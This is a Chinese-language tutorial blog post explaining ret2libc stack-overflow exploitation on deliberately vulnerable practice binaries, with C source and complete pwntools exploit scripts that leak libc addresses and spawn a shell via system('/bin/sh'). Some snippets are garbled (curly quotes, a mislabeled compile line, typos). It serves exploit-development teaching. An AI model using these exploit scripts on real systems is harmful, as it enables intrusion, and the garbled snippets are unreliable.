ROP-Ret2Libc概述和利用

ret2libc简介

ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址
ret2libc通常可以分为下面这几类:

  • 程序中自身就含有system函数和"/bin/sh"字符串
  • 程序中自身就有system函数,但是没有"/bin/sh"字符串
  • 程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
  • 程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件

基本思路

  • 无论在什么情况下,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址,只有这样才能执行系统函数,拿到shell;
  • 当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;
  • 对于给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含这些了的;
  • 最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个
    我们以ctf-wiki中例子来看看具体方法

简述PLT表和got表

在程序第一次运行程序时,程序会到plt表中查找函数地址,找不到相应的函数地址,就会到got表中去找相应的函数,找到了过后,就会将got表中的函数地址保存在plt表中,第二次运行程序是,直接调用函数是就会跳转到plt表中执行函数

例子:

ROP-RetLibc32 位实例

下面我分别用32位和64位的程序来讲解ret2libc的情况,
我们可以看一下32位程序的源代码

#include<stdio.h>
char buf2[10] = "ret2libc is good";
void vul()
{
	char buf[10];
	gets(buf);
}
void main()
{
	write(1,"hello",5);
	vul();
}
//gcc -no-pie -fno-stack-protector -m32 -o ret2libc1_32 ret2libc1_32.c

发现gets溢出函数
查看程序的保护机制,发现仅有nx保护
在这里插入图片描述
先查看ret2-text查看是否有system函数
所以我们使用objdump查看system plt地址,发现并没有。

objdump -d -j .plt ./ret2libc1_32 |grep system

在这里插入图片描述
使用ROPgadget查找/bin/sh的地址,发现没有/bin/sh,所以我们只能靠自己构造出这个字符串了
ROPgadget --binary ./ret2libc1_32 --string “/bin/sh”
在这里插入图片描述
明确目标
system函数属于libc,而libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
思路:
1、泄露ret2libc_32任意一个函数的位置
2、获取libc的版本
3、根据偏移获取shell和sh的位置
4、执行程序获取shell
6. ldd 列出动态库依赖关系

发现动态库的依赖
在这里插入图片描述
Gdb看一下程序的偏移,
在这里插入图片描述
偏移为22,然后开始exp
from pwn import *
context(arch=“i386”,os=“linux”)
p=process("./ret2libc1_32")
e=ELF("./ret2libc1_32")

write_plt_address= e.plt[“write”]
gets_got_address = e.got[“gets”]
vul_addr = e.symbols[“vul”]

offset = 22
payload1= offset*“A”+p32(write_plt_address)+p32(vul_addr)“”“write函数执行后返回的地址,也就是第二次执行该函数”“”
+p32(1) “”“write函数的第一个参数,”“”
+p32( gets_got_address) “”“write函数的第二个参数,打印该地址的数据”“”

  • p32(4) “”“write函数的第三个参数,打印的字节”“”
    p.sendlineafter(“hello”,payload1)

gets_addr =u32(p.recv()) “”“”接受打印出的gets函数在plt表的真实地址“”

libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_base=gets_addr-libc.symbols[“gets”]
system_addr =libc_base+libc.symbols[“system”]
bin_sh_addr=libc_base+libc.search("/bin/sh").next()

payload2 = offset*“A”+ p32(system_addr)+p32(0x00000000)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

ROP-RetLibc64 位实例

#include<stdio.h>
char buf2[10] = "ret2libc is good";
void vul()
{
	char buf[10];
	gets(buf);
}
void main()
{
	write(1,"hello",5);
	vul();
}
//gcc -no-pie -fno-stack-protector -m32 -o ret2libc1_32 ret2libc1_32.c

64位程序是使用rdi,rsi,rdx,rcx,r8,r9来传递参数
保护机制仅开了NX
在这里插入图片描述

Write(1,buf2,20)需要的参数用rdi,rsi,rdx传参,这里没有相应的片段,所以就不设置第三个参数了
ROPgadget --binary ./ret2libc1_64 --only "pop|ret"查看程序中的相关片段
在这里插入图片描述
偏移为18
在这里插入图片描述
Exp为

#coding:utf-8
from pwn import *
context(arch="amd64",os="linux")
p=process("./ret2libc1_64")
e=ELF("./ret2libc1_64")
   

write_plt_addr= e.plt["write"]
gets_got_addr= e.got["gets"]
vul_addr = e.symbols["vul"]
 
#0x00000000004005e3 : pop rdi ; ret
pop_rdi_addr=0x4005e3
#0x00000000004005e1 : pop rsi ; pop r15 ; ret   这里的r15必须给他指定参数,可以随便设置
pop_rsi_addr=0x4005e1

offset = 18 
payload1 = offset*"A"+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(gets_got_addr)+ p64(1)+p64(write_plt_addr)+p64(vul_addr)
pause()
p.sendlineafter("hello",payload1)
  
gets_addr =u64(p.recv()[:8])
print gets_addr
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base=gets_addr-libc.symbols["gets"]
system_addr =libc_base+libc.symbols["system"]
bin_sh_addr=libc_base+libc.search("/bin/sh").next()
  
payload2 = offset*"A"+p64(pop_rdi_addr)+p64(bin_sh_addr)+ p64(system_addr)

p.sendline(payload2)
p.interactive()

程序有system函数,没有/bin/sh参数

先检查程序的保护程序
在这里插入图片描述

查看程序中知否有系统函数system

objdump -d -M intel -j .plt ./ret2libc2 | grep 'system'

发现存在system函数
在这里插入图片描述
发现这里的函数,然后去查找程序中是否有参数/bin/sh
在这里插入图片描述
发现没有参数,所以我们这里需要手动构造一个参数
使用disass main反汇编查看程序汇编代码
在这里插入图片描述

发现溢出函数
计算偏移为112
在这里插入图片描述

下面开始编写exp
获取可执行程序对象和ELF文件对象

p=process(./ret2libc2)
e=ELF(./ret2lic2)

先找出ELF文件中的system函数地址和gets函数地址

system_addr= e.plt["system"]
gos_addr=e.plt["gots"]

构造payload
因为程序中只有一个gets函数,不能构造我们的二次溢出,所以我们将将gets函数写入payload构造二次溢出,将参数bin_sh_addr传入其中,将参数传入过后,我们必须将它pop掉,因为这个参数不能被执行。所以我们要在程序中找出pop,ret字段,

ROPgadget --binary ./ret2libc2 --only "pop|ret"

在这里插入图片描述

将此处地址传入栈,然后再将需要pop的数据bin_sh_addr传入
bin_sh_addr我们必须找一个我们可以写入的数据段,并且不能更改系统中的数据
使用vmmap命令查看可写入段
在这里插入图片描述

然后将这一个段的地址-16就是写入参数的地址
构造payload如下

bin_sh_addr=0x804b000-0x10
pop_addr=0x0804843d

offset=112
payload=offset*"a"+p32(gets_addr)+p32(pop_addr)+p32(bin_sh_addr) +p32(system_addr)+p32(0)+p32(bin_sh_addr)

完整的exp如下:

from pwn import *

context(arch="i386",os="linux")
p = process("./ret2libc2")
e = ELF("./ret2libc2")

system_addr= e.plt["system"]
gets_addr=e.plt["gets"]
bin_sh_addr=0x804b000-0x10
pop_addr=0x0804843d

offset=112
payload= offset*"a"+p32(gets_addr)+p32(pop_addr)+p32(bin_sh_addr) +p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload)

p.interactive()
  • 3
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值